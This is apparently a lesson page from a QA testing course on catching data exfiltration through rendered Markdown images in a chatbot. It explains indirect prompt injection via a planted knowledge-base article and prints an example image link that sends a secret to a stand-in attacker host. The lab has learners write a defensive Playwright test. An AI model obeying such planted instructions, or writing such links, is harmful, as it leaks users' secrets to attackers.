Skip to content
CodeKruPro

Exfiltration through rendered output

72/99

Module · Security, safety and evidence

advanced

about 45 min

What this lesson teaches

The idea

If the chat window shows images the bot writes, a planted instruction can make the bot write an image link containing a secret. The browser fetches it, and the secret leaves without a click.

Why a tester cares

A browser test can watch the page's network requests and fail the moment anything is sent to the attacker's address.

Words you will meet

Rendered output:
the bot's text shown as formatted content, including images and links.
Network request:
anything the browser fetches from a server.
Sink:
a stand-in for the attacker's server that records what reaches it.

What you will do

  1. 1Plant the article
  2. 2Ask in the page
  3. 3Watch the network
  4. 4Submit
Jump to practice

Scope: Practise attacks only on the bots in these lessons, or on systems you own or have written permission to test. The secrets here are fake and unique to you.

Indirect injection gets worse when the chat window renders what the bot writes. If a planted instruction makes the bot write a Markdown image such as ![x](https://attacker.example/?d=SECRET), the browser fetches that URL the moment the reply appears, and the secret leaves without anyone clicking anything.

LeakyDesk's help centre page renders Markdown images. For this lab, a sink at {CK_APP_URL}/sink stands in for the attacker's server and records every request it receives.

Your task

Write a Playwright test that plants an article telling the bot to add an image pointing at the sink, asks a question in the page, and fails if the page sends any request to the sink. On submit it runs against the vulnerable page and the fixed one, which only renders the help centre's own images.

Sign in to practise

The lesson is free to read. A free account lets you talk to the practice bots, run your code and save your score. You will come back to this lesson.

LeakyDesk knowledge baseShow
LeakyDesk's knowledge base, at the address in CK_APP_URL:
  POST /kb/docs {"title": "...", "text": "..."} adds an article (as an employee with edit rights would)
  POST /kb/ask  {"question": "..."} -> {"answer", "sources"}
In the console, "/add <text>" adds an article; anything else is a question.

The help centre page is at {CK_APP_URL}/desk/. The sink is {CK_APP_URL}/sink?d=...
1

Your code

Write it in
Both are graded the same way.
against the help centre

How this is checked: When you submit, your tests run against 2 versions of LeakyDesk: 1 correct and 1 with a planted fault. Good tests pass on every correct version and fail on every faulty one. Run tries them on the practice copy first; the result table shows each version.

Core checks earn 50 points and the harder checks the other 50. You can submit as many times as you like.

About this lesson

Test markdown image data exfiltration in a chatbot with a Playwright network check

AI Testing for QA EngineersAdvancedSecurity, safety and evidence

How it works

Indirect injection gets worse when the chat window renders what the bot writes. If a planted instruction makes the bot write a Markdown image whose address contains a secret, the browser fetches it the moment the reply appears, and the secret leaves without anyone clicking anything.

A browser test can catch that by watching the page's network requests. In this lesson a local sink stands in for the attacker's server and logs every request it receives, so the test can fail precisely when the page sends anything there.

About the assignment

Write a Playwright test that plants an article asking for an image pointing at the sink, asks a question in the help page, and fails if any request reaches the sink.

What you will do

  1. Register a request listener on the page before asking the question.
  2. Plant the article through the knowledge base API, with a placeholder for the secret in the image address.
  3. Ask in the page, give the image time to load, then assert no request went to the sink.

Common mistakes

  • Asserting too early

    The image loads after the reply appears. Wait a moment before checking.

  • Checking the reply text only

    The leak happens in a request, not in the visible text.

In a real test suite

The usual fix is to render only images from trusted addresses, or none at all. A network-level test proves the fix holds, whatever the model writes.

Run the same test with a few different instructions in the planted article, such as an image, a link or a hidden element, because a fix that strips images may still let another rendering path send data out.